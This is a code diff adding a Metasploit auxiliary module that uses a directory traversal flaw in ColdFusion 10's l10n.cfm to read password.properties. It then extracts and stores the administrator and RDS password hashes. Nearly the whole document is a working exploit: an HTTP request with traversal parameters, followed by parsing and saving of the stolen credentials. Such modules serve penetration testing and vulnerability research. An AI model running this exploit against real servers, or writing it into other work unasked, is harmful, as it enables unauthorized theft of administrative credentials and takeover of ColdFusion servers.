1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Auxiliary
11
+
12
+ include Msf ::Auxiliary ::Report
13
+ include Msf ::Exploit ::Remote ::HttpClient
14
+
15
+ def initialize ( info = { } )
16
+ super ( update_info ( info ,
17
+ 'Name' => "ColdFusion 10 'password.properties' Hash Extraction" ,
18
+ 'Description' => %q{
19
+ This module uses a directory traversal vulnerability to extract information
20
+ such as password, rdspassword, and "encrypted" properties.
21
+ } ,
22
+ 'References' =>
23
+ [
24
+ [ 'EDB' , '25305' ] ,
25
+ ] ,
26
+ 'Author' =>
27
+ [
28
+ 'HTP' ,
29
+ 'sinn3r'
30
+ ] ,
31
+ 'License' => MSF_LICENSE ,
32
+ 'DisclosureDate' => "May 7 2013" #The day we saw the subzero poc
33
+ ) )
34
+
35
+ register_options (
36
+ [
37
+ OptString . new ( "TARGETURI" , [ true , 'Base path to ColdFusion' , '/' ] )
38
+ ] , self . class )
39
+ end
40
+
41
+ def peer
42
+ "#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } "
43
+ end
44
+
45
+ def run
46
+ res = send_request_cgi ( {
47
+ 'method' => 'GET' ,
48
+ 'uri' => normalize_uri ( target_uri . path , 'CFIDE' , 'adminapi' , 'customtags' , 'l10n.cfm' ) ,
49
+ 'encode_params' => false ,
50
+ 'encode' => false ,
51
+ 'vars_get' => {
52
+ 'attributes.id' => 'it' ,
53
+ 'attributes.file' => '../../administrator/mail/download.cfm' ,
54
+ 'filename' => '../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties' ,
55
+ 'attributes.locale' => 'it' ,
56
+ 'attributes.var' => 'it' ,
57
+ 'attributes.jscript' => 'false' ,
58
+ 'attributes.type' => 'text/html' ,
59
+ 'attributes.charset' => 'UTF-8' ,
60
+ 'thisTag.executionmode' => 'end' ,
61
+ 'thisTag.generatedContent' => 'htp'
62
+ }
63
+ } )
64
+
65
+ if res . nil?
66
+ print_error ( "#{ peer } - Unable to receive a response" )
67
+ return
68
+ end
69
+
70
+ rdspass = res . body . scan ( /^rdspassword=(.+)/ ) . flatten [ 0 ] || ''
71
+ password = res . body . scan ( /^password=(.+)/ ) . flatten [ 0 ] || ''
72
+ encrypted = res . body . scan ( /^encrypted=(.+)/ ) . flatten [ 0 ] || ''
73
+
74
+ if rdspass . empty? and password . empty?
75
+ # No pass collected, no point to store anything
76
+ print_error ( "#{ peer } - No passwords found" )
77
+ return
78
+ end
79
+
80
+ print_good ( "#{ peer } - rdspassword = #{ rdspass } " )
81
+ print_good ( "#{ peer } - password = #{ password } " )
82
+ print_good ( "#{ peer } - encrypted = #{ encrypted } " )
83
+
84
+ p = store_loot ( 'coldfusion.password.properties' , 'text/plain' , rhost , res . body )
85
+ print_good ( "#{ peer } - password.properties stored in '#{ p } '" )
86
+ end
87
+
88
+ end
0 commit comments